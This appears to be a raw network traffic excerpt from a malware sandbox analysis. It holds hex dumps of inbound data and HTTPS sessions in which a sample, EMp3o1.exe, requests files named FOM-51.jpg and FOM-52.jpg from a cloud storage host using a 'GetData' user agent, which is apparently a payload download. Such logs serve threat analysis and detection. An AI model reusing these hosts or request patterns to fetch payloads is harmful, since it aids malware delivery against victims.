2025-01-05 09:12:21 UTC	4096	IN	Data Raw: 7c 7b dc 41 c2 74 77 75 74 73 65 91 8f 90 91 11 ee 84 95 e3 bf 11 84 3e 34 dc 9d f4 97 48 c7 b1 a3 a4 fc 59 d2 a0 41 56 56 53 52 9d 74 f3 32 cf a3 b4 c1 be dd b0 51 f7 a8 bc bd e7 7c 28 d0 d2 c3 c4 06 4d 38 9d 42 26 a1 cc a7 ce 30 a5 d9 3a 10 2a 2a 29 54 1c d5 87 18 57 22 8b 54 0c 8b e2 89 e5 1a 93 ef 00 44 14 14 13 6e 2a e3 ad 32 98 f2 9e f5 9c f7 10 64 04 04 03 7e 3a f3 c3 6b 03 69 05 6f 06 ef 86 f7 f5 f4 8f c9 02 cc 9b ee 44 fb 09 1f 16 17 93 e9 4c f3 1d 06 1e 1f 76 c9 ae 39 24 25 70 cf c4 3a 2a 2b 7a c5 5f 35 30 31 64 db 68 2f 36 37 6e d1 7e 23 3c 3d 68 d7 be 40 42 43 12 ad 48 55 48 49 22 dc 5a 0d 4e a7 3f 58 52 53 d7 91 72 f4 54 f9 1a 5b 02 9e d5 a0 35 ea 8e 32 35 36 ed 3a 60 3f 3d 58 9a 5e 91 e6 0d 8d 49 6f 89 65 d6 37 78 0d 73 3c f5 00 82 fc 7f 96 Data Ascii: \|{Atwutse>4HYAVVSRt2Q\|(M8B&0:*)TW"TDn2d~:kioDLv9$%p:*+z_501dh/67n~#<=h@BCHUHI"ZN?XRSrT[5256:`?=X^Ioe7xs<
2025-01-05 09:12:21 UTC	4096	IN	Data Raw: 81 d9 46 b5 47 c8 2a 32 3c cc 8d d3 4c 5c f9 22 b5 d4 95 f2 68 ad 99 9a 9b 9c 16 da bb b0 28 ce 87 b4 28 ca 83 b8 82 4a f8 fa fa 0f ab 10 f1 b2 82 f1 49 85 72 e8 30 df 53 43 c8 46 34 85 3d 05 86 38 3b 39 38 37 40 8f 33 41 88 3e ab 73 d1 d2 d3 d4 16 5d 9a 28 bd 53 d6 dc dd de df b9 be bd bd bf 6e 03 ba b9 2a 26 27 20 21 22 23 3c 3d 3e 3f 38 7e 09 a2 73 15 79 17 e4 ae 75 a2 0c 57 89 70 0c 36 33 03 a8 49 0a 5c 87 0b c8 4a ef 11 d5 56 e0 14 16 17 18 94 61 0b 9f e5 e0 6b 2d aa 6c 27 27 ea 15 2b 10 c1 c9 c2 d3 d2 a5 61 3c ba 74 3b 37 fa 05 3b 00 d1 e9 d2 c3 c2 b5 7a 48 b7 02 47 22 4a c3 51 49 49 4a c0 01 5d c3 1a b8 d8 01 af df 0e 5a de 1d b1 d3 16 b0 de a5 a1 14 3e ef 2a 64 e8 62 3c e3 25 ec 7f e1 29 e8 7f f9 34 82 f8 74 fc 33 8f fd b0 0e 6f f7 aa 96 23 aa 81 Data Ascii: FG2<L\"h((JIr0SCF4=8;987@3A>s](Sn&' !"#<=>?8~syuWp63I\JVak-l''+a<t;7;zHG"JQIIJ]Z>*db<%)4t3o#
2025-01-05 09:12:21 UTC	4096	IN	Data Raw: b4 7b f0 8e 6c 82 e3 8e 63 f7 7e 71 70 c9 52 c4 f9 94 6a a3 4b 2c d9 9a 64 89 3d 1e df a0 24 62 d6 b2 4d ab 51 57 56 21 5b 53 b8 a6 2f f0 b1 e2 5b 09 40 49 48 31 bf e3 53 aa 4d 41 40 03 4a 3d 96 4f 29 4d 92 c0 9a 9c 9c ff 32 f5 18 a4 d6 59 8e d8 ee 09 a0 c6 31 03 2e 23 22 b4 c9 be 68 d2 b4 b3 b2 b1 b0 00 8b 1f 14 13 6e 2a fb 7b 37 ad ad af a8 35 7c 8d e9 c1 0c 89 fa cd 3f 66 88 00 e8 d0 8e cc 08 bf 0f 6c 82 0d 4c 4f 49 56 77 29 d4 60 16 5d 62 f6 2a da 20 c3 68 cd 79 a9 23 ca b3 d1 da d9 4d 0a 70 a3 23 a7 dc c5 9c bb ce 67 b8 d8 63 61 04 ce c6 4f 33 d4 84 23 3f 40 ca ba 1a c1 ba 33 60 71 4c 36 fd 0c 4d 38 50 06 ae 47 1f d4 15 56 da de b1 59 5b 5c 66 5b 23 d6 21 62 15 67 e6 ae 98 e3 99 e9 93 93 18 a4 e4 b7 2e 2c 2e b7 fe 89 22 f3 95 2c 2c 4f 8b 14 7f 7f f4 Data Ascii: {lc~qpRjK,d=$bMQWV![S/[@IH1SMA@J=O)M2Y1.#"hn{75\|?flLOIVw)`]b hy#Mp#gcaO3#?@3`qL6M8PGVY[\f[#!bg.,.",,O
2025-01-05 09:12:21 UTC	4096	IN	Data Raw: 82 84 85 0f ca 78 02 84 c2 05 c0 72 79 51 90 9d 16 47 97 96 97 cb 14 86 aa 17 8e 17 ca 54 2a f4 5f 2d f0 5e 2c fd 5d 23 f6 a0 5b 6c ae c5 c5 73 49 b0 ff 35 4d 87 cf b9 d1 83 e7 35 f4 c4 fa 89 cb b1 87 7d c7 c8 c9 4a 48 36 ed bd d6 5b 1b 01 38 59 99 d4 d3 2f 0a fb 87 64 99 20 d6 95 c2 69 ae ec c4 ff 0c f4 64 a0 0b 3f 06 63 a3 f2 f5 05 20 d5 69 4e 33 f8 f9 fa 05 f5 88 f8 74 4d 09 23 5a 00 8e 5b 0b 83 5a 02 80 57 09 85 42 ec 12 5f e7 9d 4f 12 9c 4d 15 91 41 18 96 4c 17 a9 72 2a aa 69 d9 ad f6 e9 d3 2e 61 af d7 11 59 33 5b 0d 69 bf 68 ce b4 db 38 b3 66 c8 32 bb b0 40 41 42 68 31 bd cd 1a b0 88 b1 4f 26 72 c7 3a 5c 1a 0c 68 8a 23 54 dc 86 5a 17 a3 d7 8c 9f a5 64 2b eb 2e 98 5e b0 11 6a e2 bc 50 b6 19 30 e4 3d 7d f9 02 70 4e 07 7f 0d 42 c4 7b 7c 7d fe fc 7b a1 Data Ascii: xryQGT_-^,]#[lsI5M5}JH6[8Y/d id?c iN3tM#Z[ZWB_OMALri.aY3[ih8f2@ABh1O&r:\h#TZd+.^jP0=}pNB{\|}{
2025-01-05 09:12:21 UTC	4096	IN	Data Raw: 96 50 05 c6 87 03 51 b1 54 f9 c1 b7 b2 40 27 d2 93 e0 a6 c0 7f 0c 42 65 64 c5 18 5e 90 25 d3 5d 5c 5b 2e e3 b7 93 6e a5 2f fc 52 51 50 77 b1 be b3 b4 b5 5f f2 47 46 45 88 43 36 cb b3 aa c5 2a 87 17 3a 39 9e 0b f2 15 be c1 46 8b df eb 16 a6 d5 13 d5 da d7 d8 d9 51 18 34 28 11 20 1f 22 88 f3 8c ad 70 a7 e8 01 49 24 13 12 65 b2 f8 74 29 86 fa 0a 83 fb 10 04 07 04 03 a4 17 33 01 01 02 88 71 09 83 f1 7d 05 59 e3 2f d2 f1 f0 49 f8 a5 12 14 15 95 2a a0 ae 5a 1b 1f 12 9b 8c 21 21 22 10 db ac 5b c3 ab d7 ca 24 ab a7 2f 2f 30 5b 36 db 99 e6 c9 c8 61 b0 47 c7 6f d5 d9 d1 bf be 1b ca 01 a5 7d 80 47 cd d4 4b 4c 4d 75 7a f0 e6 12 53 23 1c 00 04 08 b1 93 a8 a3 a2 dd 9b 6c e4 a2 17 61 ec 3b 83 83 5c 3c 83 f4 9b 91 90 29 f8 37 97 4f b2 02 50 f3 3a 86 33 47 bb 0c 7d 0b 47 Data Ascii: PQT@'Bed^%]\[.n/RQPw_GFEC6:9FQ4( "pI$et)3q}Y/IZ!!"[$//0[6aGo}GKLMuzS#la;\<)7OP:3G}G
2025-01-05 09:12:21 UTC	4096	IN	Data Raw: 8e 79 76 23 7b 77 ad 1f fb eb cd 8e 04 6f 66 4b 6c b0 18 b6 f0 d8 99 17 d2 9c 16 59 25 a3 a1 a2 a3 27 5c a2 d5 a4 2a 4a a8 87 65 51 8b 35 c5 d4 f3 b4 4a 92 3a c8 de fa bb 2c 39 d8 ff c0 69 a4 83 c4 15 a0 87 c8 43 8c c8 ef 1c 46 88 d3 52 3c d2 15 3c d4 54 37 d8 59 22 d4 af 6c 22 13 44 1e 1c c0 70 96 80 a8 e9 67 a2 ec 67 a8 ec d3 20 7a b4 f7 7f b0 f5 39 10 f8 73 bb ff 7d 11 02 82 ed 01 87 fc 0e 75 80 f4 f9 ae f0 f2 2a 9a 60 76 52 13 84 9f 50 14 3b c8 92 5c 1f 97 58 1d a8 66 20 a9 62 24 e7 ce 2a a1 6d 2a af c3 2d ac df 32 b1 ca 3c 3a b4 61 c7 c6 c5 c6 cf 98 c2 c0 64 d4 32 24 04 45 cb 0e 48 6d 2d 0b 4c 61 29 0f 50 65 35 13 54 69 31 17 58 1d 3d 1b 5c 11 39 1f 60 35 05 23 64 02 01 27 68 e2 2e e5 70 e4 2a e0 6c fa 36 fd 6c fc 32 f8 60 f2 3e f5 68 f4 3a f0 94 0a Data Ascii: yv#{wofKlY%'\JeQ5J:,9iCFR<<T7Y"l"Dpgg z9s}u`vRP;\Xf b$m-2<:ad2$EHm-La)Pe5Ti1X=\9`5#d'h.p*l6l2`>h:
2025-01-05 09:12:21 UTC	4096	IN	Data Raw: ed e5 e7 ea e2 a8 fd e5 ab e5 e3 e7 fb f9 f0 fe fa ee f0 b6 ff fd f8 ea 96 96 9d 9e 9f a0 f3 94 93 96 92 ab ad 85 89 c4 c4 d8 8d cb c1 df c4 d5 db 94 c6 c6 d6 db dc 9a dd d3 cf 9e d3 af b6 ab ac e4 ac a8 ae bc a0 ab a7 a5 b7 af bb b9 be bc de de d5 d6 d7 d8 8b ec eb ee eb d3 d5 cd c1 8c 8c 90 c5 83 89 87 9c 8d 83 cc 9e 9e 8e 93 94 d2 95 9b 87 d6 84 8c 9d 93 94 dc 94 90 96 74 68 63 6f 6d 7f 67 73 61 66 64 06 06 0d 0e 0f 10 43 24 23 26 20 1b 1d 35 39 6a 6e 6e 78 3e 69 49 53 56 56 45 49 06 41 5d 47 49 5f 45 42 40 0f 53 50 5e 5f 39 3f 36 37 38 6b 0c 0b 0e 09 33 35 6d 61 2c 2c 30 65 23 29 27 3c 2d 23 6c 3e 3e 2e 33 34 72 35 3b 27 76 08 37 37 3f 23 35 29 71 3e 14 04 1a 0a 10 45 12 06 0a 05 0f 66 66 6d 6e 6f 70 23 44 43 45 4c 7b 7d 55 59 0f 15 1d 1f 12 1a a0 f5 Data Ascii: thcomgsafdC$#& 59jnnx>iISVVEIA]GI_EB@SP^_9?678k35ma,,0e#)'<-#l>>.34r5;'v77?#5)q>Effmnop#DCEL{}UY
2025-01-05 09:12:21 UTC	4096	IN	Data Raw: 83 84 09 79 78 77 89 8a 8b 8c 73 71 70 6f 8a b2 d3 94 8a b6 d7 98 99 9a 9b 9c 63 61 60 5f a1 a2 a3 a4 71 59 58 57 a9 aa ab ac 53 51 50 4f b1 b2 b3 b4 01 94 f7 b8 47 45 44 43 bd be bf c0 02 e0 83 c4 3b 39 38 37 c9 ca cb cc 15 31 30 2f d1 d2 d3 d4 2b 29 28 27 d9 da db dc ab fa 9f e0 1f 1d 1c 1b e5 e6 e7 e8 6b ce ab ec 13 11 10 0f f1 f2 f3 f4 2d 09 08 07 f9 fa fb fc 03 01 00 ff fb 2a 43 04 fb 2e 47 08 09 0a 0b 0c f3 f1 f0 ef 11 12 13 14 c1 e9 e8 e7 19 1a 1b 1c e3 e1 e0 df 21 22 23 24 b2 0c 67 28 29 2a 2b 2c d3 d1 d0 cf 31 32 33 34 e1 c9 c8 c7 39 3a 3b 3c c3 c1 c0 bf 41 42 43 44 e3 6b 07 48 49 4a 4b 4c b3 b1 b0 af 51 52 53 54 8d a9 a8 a7 59 5a 5b 5c a3 a1 a0 9f 6a 4d 23 64 7a 49 27 68 69 6a 6b 6c 93 91 90 8f 71 72 73 74 b5 89 88 87 79 7a 7b 7c 83 81 80 7f 81 Data Ascii: yxwsqpoca`_qYXWSQPOGEDC;98710/+)('k-C.G!"#$g()+,12349:;<ABCDkHIJKLQRSTYZ[\jM#dzI'hijklqrstyz{\|
2025-01-05 09:12:21 UTC	4096	IN	Data Raw: ea ee ee ea ea e6 e6 fa fa fe fe fa fa e6 e6 ea ea ee 95 96 97 98 99 9a da de de da da e6 e6 ea ea ee ee ea ea e6 e6 fa fa fe fe fa fa e6 e6 ea ea ee b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 6f 90 91 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	62783	118.178.60.9	443	6032	C:\Users\user\Documents\EMp3o1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:12:23 UTC	115	OUT	GET /FOM-51.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:12:23 UTC	548	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:12:23 GMT Content-Type: image/jpeg Content-Length: 4859125 Connection: close x-oss-request-id: 677A4CF7DF727131332F097C Accept-Ranges: bytes ETag: "EE6CA3EEA7F9B1C81059AEF570A28C02" Last-Modified: Tue, 22 Oct 2024 14:48:26 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9060732723227198118 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 7myj7qf5scgQWa71cKKMAg== x-oss-server-time: 14
2025-01-05 09:12:23 UTC	3548	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-05 09:12:23 UTC	4096	IN	Data Raw: 42 cc 3b 8b 04 80 dc 85 89 f7 db 86 4b ce 35 a8 af fe 41 fa 0c 61 84 11 0a 1b 74 3d 42 1d 8b ea 87 f2 e5 bc 47 e4 9b f0 a1 6a 44 3d f7 aa 85 fc 7c 66 99 44 42 66 08 55 a3 c2 72 d1 08 6f b1 b4 88 fb 14 6d f7 a2 e6 b1 0a 4b a7 cc 8d 43 ca 42 55 ba 2d 50 3b de 75 e4 69 e5 a6 45 fe 3f 88 51 f2 8f 9a e2 49 ea ad 5a da 33 4e a3 3e d5 c6 6e c7 d1 e8 c5 06 f1 38 15 6c 30 51 e9 b2 ec bd f6 b7 43 20 6c 37 8a c5 69 36 0c 71 9e eb 37 4c 5e 64 2d ba 15 c3 be 23 92 69 e8 07 8e 31 8e 32 59 a6 f5 54 50 cc a6 0d cb 70 1b 9f a8 37 28 8e 8c a8 b6 58 2d d6 5f 3e e5 51 37 e9 fc c0 79 61 49 dc 37 0b d7 f9 38 30 21 a3 63 4a 50 26 80 0f ad 3c d1 89 c4 d8 15 09 d3 5c 40 7c a4 b7 fe fc 2d 89 04 24 ad d9 e2 58 57 f8 d2 39 21 f1 85 1f 5d ae 5b 62 f2 2d 86 49 5e 70 f6 14 48 c1 63 66 Data Ascii: B;K5Aat=BGjD=\|fDBfUromKCBU-P;uiE?QIZ3N>n8l0QC l7i6q7L^d-#i12YTPp7(X-_>Q7yaI780!cJP&<\@\|-$XW9!][b-I^pHcf
2025-01-05 09:12:23 UTC	4096	IN	Data Raw: 55 c7 be c5 78 ee 64 cd 2e 33 d8 00 81 41 01 fc 96 f3 c2 68 5b e3 86 3a 52 14 eb 36 47 9c d8 8b 1b 75 f9 f2 3e 9e 6a 5c af ac 2d 01 59 f6 e4 ed f8 06 96 96 25 32 d9 55 c2 2b cd d9 43 84 c0 8f da 8a 2e 4e 40 af e4 ef 68 35 b1 db 47 6c 13 6a 58 3b 70 ee a1 fc f0 ea cf 6e ad 25 29 22 ee a3 88 45 8b c6 2a 08 f5 8e fe d9 90 64 31 57 f5 7b 69 f4 88 ee 13 ee 88 13 dd fe 62 86 d5 85 88 9b aa 98 eb ae 62 7e dd 59 12 19 69 99 a8 6c 0d 6f 92 a5 a3 77 6e d0 53 bb 17 f4 5f d6 e6 1f 4a cf 6d f7 92 79 05 8e d4 33 04 97 04 b6 95 73 06 7a e5 99 05 66 48 93 78 17 26 6e e6 6b 89 ba b3 4a 9a d7 ee e1 45 2d c4 d9 46 38 58 a3 e7 df cb c0 a8 8b 48 54 ab ab c9 2b 10 28 f1 1f 7e 00 6d 13 0b 8f 10 81 c8 3f 99 d0 f4 09 6e a8 37 1d 0d 72 39 87 d5 f2 12 b6 cb fa 95 c3 25 72 27 66 14 Data Ascii: Uxd.3Ah[:R6Gu>j\-Y%2U+C.N@h5GljX;pn%)"E*d1W{ibb~YilownS_Jmy3szfHx&nkJE-F8XHT+(~m?n7r9%r'f
2025-01-05 09:12:23 UTC	4096	IN	Data Raw: 45 e5 5e 68 30 58 bc f3 3c 4c f2 55 29 ac 64 46 5d 3a 9d 79 a5 77 53 ff 44 c3 e1 4a bd ab 8a bd d4 75 ea e1 2a ee 82 37 b9 6b 8b 4d 69 c9 72 b7 c8 66 c5 06 1b db fb d1 44 d1 f5 36 5b 9f 70 43 e3 b9 cc 9d 24 02 a0 15 1a ee 33 51 a6 de 11 4b 6e 87 8e 08 53 81 c7 39 1d bd 06 98 20 7a 9b 47 b4 aa c5 34 08 11 e2 e2 77 2e 0a 28 8a 33 9b 65 f3 3a 67 17 4e 17 e5 d0 55 59 0e 94 52 4b da e3 d0 7a 25 77 a6 34 0e aa 88 bd f9 1f a8 08 f8 42 83 d2 79 43 2f 04 cc aa cd fb df 7b c0 14 58 c6 51 a2 5e 37 42 12 e5 22 53 12 9f 78 be b5 39 59 c1 b2 1b 55 3b d8 b9 8f e2 36 93 6c 44 d2 80 9d 04 d2 7c 54 bb a2 23 a2 95 da 63 2d 43 a0 da 70 ab 87 c5 6b ef 95 b1 2a bd 9b 5e 30 06 ef 83 ea 01 6e 63 4c 04 68 89 7a 93 34 80 33 0b 68 86 5c 60 2f 6b 05 3f d6 5f 19 77 94 92 45 e3 e4 5c Data Ascii: E^h0X<LU)dF]:ywSDJu7kMirfD6[pC$3QKnS9 zG4w.(3e:gNUYRKz%w4ByC/{XQ^7B"Sx9YU;6lD\|T#c-Cpk^0ncLhz43h\`/k?_wE\
2025-01-05 09:12:23 UTC	4096	IN	Data Raw: c3 8f ae 6b a3 4e 8c 8c 89 8a 8b bb 66 fa 15 1c 40 d7 45 6a 0d 3c 0a ea 62 81 9f 9c 9d 9e b3 ea 13 ac cb d0 8f f2 eb dc 40 32 33 15 5f dc 2b 1c db c0 69 be 0d f5 9a fc b0 a5 8c 0d 14 ff 63 f5 b9 a4 8d b4 ad be 22 34 78 e5 cc 65 24 7e f7 de d1 9a 58 cb 99 5d 98 d0 31 c2 08 cf dd 57 4b b4 a1 1c 1c 1b b7 d4 3e 65 a5 e6 e3 12 2f 65 7b e1 ee 0d 0c 0b fa 6d b3 dc fd 3b 87 d8 fc 7c 7e dd 05 02 03 04 6d 3f 57 b6 57 83 5f 29 0d 83 6b 34 1d fb 27 35 0f 16 ff 3b 16 00 1b 13 18 f6 b1 66 21 22 45 ad 33 ab 43 0c 2d c3 cf b7 0c 2e 49 3f 87 34 b9 62 37 5e 2b 2f 1b 64 ba fa 3f 3e 3f 40 43 80 25 cd 43 cb 23 6c 4d a3 0c bf 51 4e c4 67 da 15 57 3c e4 e7 7f b8 99 36 7f 5e 9c 51 d2 37 d9 7b 63 80 ac 75 5b 79 44 1a 33 ad 95 60 78 00 1d 23 18 b0 aa 39 1f 25 1a a3 fc d2 ed 9d d9 Data Ascii: kNf@Ej<b@23_+ic"4xe$~X]1WK>e/e{m;\|~m?WW_)k4'5;f!"E3C-.I?4b7^+/d?>?@C%C#lMQNgW<6^Q7{cu[yD3`x#9%
2025-01-05 09:12:23 UTC	4096	IN	Data Raw: 2c 4d a6 a0 20 85 bf 62 23 7d 82 17 a5 30 de 99 08 fd bd 71 3f 39 61 73 43 04 d3 d0 32 6b df ec 1f f3 aa 3d 7b 0a ac d4 c6 23 eb ed fa 6d 34 b5 ed 0c e2 bd 2c ed e9 83 bc 4d 87 be 3e 5f 02 ba 42 ba da 19 39 86 8b 76 98 c3 52 60 65 25 e5 a0 40 e2 e2 87 c6 57 a0 12 c5 86 50 1e d8 82 61 b1 e8 7b 70 85 f2 3b b7 dd 68 1e f0 82 30 32 37 c7 33 54 06 4a a4 ff 6e be 09 90 75 b8 64 7a 3e 21 db ce 6f 5c 64 44 b9 59 00 93 ff 91 7d e8 f9 20 94 90 60 c8 6f 44 97 f9 8e b9 3f 4e a3 4f 16 b9 47 f2 81 03 6a 69 e2 21 55 c2 e5 97 52 04 26 ef ae c8 f0 44 77 88 66 31 a0 58 9d 00 de 3e a6 b9 c8 84 84 87 db 90 d9 4b f7 1b 42 d5 22 bd 5d b8 39 1d f5 0a 38 c0 d7 f6 11 bc a9 e2 0c 57 c6 d6 d2 a9 8d 6a 24 3b 74 4e 4b d1 a2 f8 51 7c c5 b8 66 61 13 6e 3f 61 be 64 71 7e 98 bf 08 7c a7 Data Ascii: ,M b#}0q?9asC2k={#m4,M>_B9vR`e%@WPa{p;h0273TJnudz>!o\dDY} `oD?NOGji!UR&Dwf1X>KB"]98Wj$;tNKQ\|fan?adq~\|
2025-01-05 09:12:23 UTC	4096	IN	Data Raw: 94 13 4b ba 59 94 28 79 a8 e0 04 9d d9 34 71 d1 8c 52 64 54 a0 2b 3c 9c 31 d6 31 5f dd b0 e1 72 5d e3 d3 0b c9 a4 8c fb 2c 74 4a 06 21 9f e8 77 ac 0e 7a 81 04 97 79 d9 a7 dd 40 e7 17 4f ab a4 75 32 04 32 e1 14 a8 64 5f 11 ea c6 56 50 d4 0e a9 a2 60 f3 93 c9 f3 5b a6 1a 47 9d 93 21 ea 45 f3 4d b6 6f fb a9 28 33 1d 5a 7f 16 47 e8 cf ef 81 45 43 18 41 ba 88 08 34 0b 76 70 e2 cb ca 69 b2 1e ec 31 ce 87 99 c8 ea 75 26 3c 60 26 76 99 85 6f 63 0e 0a a5 9a c7 af 0b ca ae 36 08 d2 74 3d 9c 9f c4 1f ad bf b0 84 3c 40 df 89 dd 19 5a d3 d7 79 ab d7 2e 2a a0 76 2f e6 75 8b 65 39 ad 89 15 b0 7f fa 18 c5 c7 ac b2 d7 44 6c f2 c9 cc af e9 40 b3 57 30 a5 f3 1f f5 06 cf 73 14 18 f9 0d 72 f7 19 79 98 57 e5 11 81 1a 41 9d 8f a7 7d ea 03 5c 14 65 f8 a6 73 dd d4 70 b3 48 cb 66 Data Ascii: KY(y4qRdT+<11_r],tJ!wzy@Ou22d_VP`[G!EMo(3ZGECA4vpi1u&<`&voc6t=<@Zy.*v/ue9Dl@W0sryWA}\espHf
2025-01-05 09:12:23 UTC	4096	IN	Data Raw: 7e 30 df f0 37 2c a5 37 4f 4c e2 13 7c d1 f8 91 c5 fa be cf 9e 00 28 6a dd ff a3 dc ca c7 5f af 65 39 20 43 0f 76 27 75 a7 a8 f1 fa 94 9f e4 b0 f7 a8 82 87 3b 0a 53 b7 20 93 c5 42 21 59 4a 44 cf 6d 00 01 ce a2 49 10 81 c0 c4 c2 ee b6 e5 6b df 46 07 d3 21 07 58 b3 27 fb fe f2 08 3e bc 0d 03 78 9c 6a b4 0f 93 15 14 83 ae 77 c8 e3 dc db 3a e9 9b 9d 1c c6 8a 7b 52 97 8e 19 85 b7 fb c2 a6 6b fd 94 63 78 f1 63 13 10 63 6f 18 d5 92 b6 d1 b7 a2 84 9b d4 90 d9 84 fc ef a5 a6 c5 ba b6 64 c7 fe d4 d4 23 c0 71 8e e4 e7 87 ee e0 7b 41 ab 03 0e d0 58 f4 61 98 ac 8a bc 7f 9b 4c 5a 39 6c 26 9a c8 d3 6c b4 71 fa 5a e7 33 7a 60 25 a6 5a 83 a7 05 e0 89 ab f3 71 7b 1f 34 10 5a c9 8f 29 a8 53 58 fe 56 32 96 b8 9e 3a d9 ee 0c 60 09 71 b5 2b 70 55 a8 b7 e2 8b 6b 95 ad 89 2f ca Data Ascii: ~07,7OL\|(j_e9 Cv'u;S B!YJDmIkF!X'>xjw:{Rkcxccod#q{AXaLZ9l&lqZ3z`%Zq{4Z)SXV2:`q+pUk/
2025-01-05 09:12:23 UTC	4096	IN	Data Raw: e7 04 8e cb 30 d6 37 73 19 58 f3 d5 05 6a d7 87 a6 a4 b9 8e a3 5d cc d5 8b 34 ca e2 6a a0 78 0e e3 7b 1c 29 5a a6 5b 55 62 f1 e6 be 23 a0 43 ad e5 d7 92 f7 b3 96 4f 03 54 71 e0 f1 af 06 a6 f0 00 d1 7e 0a b5 f4 09 e0 28 9e fb 47 84 32 32 1b 8a 9f c1 2e bc e2 8e a0 2e ff 90 dd 7e c7 83 94 f3 d0 5a 05 5e 0b 2c b3 a4 f8 4a e7 0f 49 f6 3d ff 18 c0 83 1f 5d f8 00 bd db 23 65 28 8b 33 a9 4d 2b 81 26 66 9c dc 18 b6 96 f5 c0 bf 49 34 bb da 49 5e 06 d6 0f 1c e9 ba c4 8c 4c bb 0d 49 a4 6a fd d0 ef 7e 6b 35 34 10 92 02 52 67 16 58 07 e6 47 e0 dc bb dc 14 5e a1 d9 f0 67 70 2c ed fa 8f ca 33 6f ad 4f 2b e0 78 1e f0 18 a4 c5 e4 02 81 a3 0f 9f 0e 1b 45 92 27 fc 39 cc be 57 c0 4c f8 c9 c4 77 47 d4 ac 33 24 78 3d f0 d1 e4 b8 d2 ce 88 69 21 65 3a 2c 1f 95 b1 20 31 6f 2a 06 Data Ascii: 07sXj]4jx{)Z[Ub#COTq~(G22..~Z^,JI=]#e(3M+&fI4I^LIj~k54RgXG^gp,3oO+xE'9WLwG3$x=i!e:, 1o*
2025-01-05 09:12:23 UTC	4096	IN	Data Raw: be d0 2a 4c 19 64 3b ba 0e 94 4e 20 15 9f c2 86 3a 4f 85 f3 ee 58 cd 35 91 2f 10 20 88 da 3e c0 05 f8 22 66 79 44 a0 a8 56 48 12 18 4c 26 67 bf 07 bd 0e 8a 4f b7 62 4f 64 7b 46 88 30 02 d0 63 3b 3d 3c 2c 8c 51 e6 c8 ad 43 c5 a4 f1 40 de 99 5c b6 f7 dc 3c 7d 03 cf d9 bc 50 d4 5c 1b dd e0 e1 e2 85 6d a9 c3 e7 80 7d cd 51 5d 8b 19 fb d4 7c 96 d7 f0 1c 7d 23 ef f9 3d bf d8 fd 3e b9 23 40 ea b3 f0 27 06 c6 ea 0b 81 ce 0f cf e6 d6 16 19 12 9a 03 7d 2b 37 16 c5 97 7f 38 15 f7 a1 1d 02 22 4b 1f a3 92 9d c1 35 82 21 2c 90 85 a7 9e 04 28 f5 b1 d9 e8 96 b1 29 17 fc ee 8c bf c7 80 28 0e ea b1 fb 7e 34 d7 f3 21 35 2f 26 43 09 73 42 b5 c9 ae 73 45 1e 38 5f c7 ea 8b e0 a7 ba f0 52 79 4f c7 e5 a4 8b dd 4b 28 03 3d a1 25 9f ac b6 97 e3 25 09 20 15 2d d1 f6 c6 3d 63 88 5a Data Ascii: *Ld;N :OX5/ >"fyDVHL&gObOd{F0c;=<,QC@\<}P\m}Q]\|}#=>#@'}+78"K5!,()(~4!5/&CsBsE8_RyOK(=%% -=cZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	62784	118.178.60.9	443	6032	C:\Users\user\Documents\EMp3o1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:12:35 UTC	115	OUT	GET /FOM-52.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
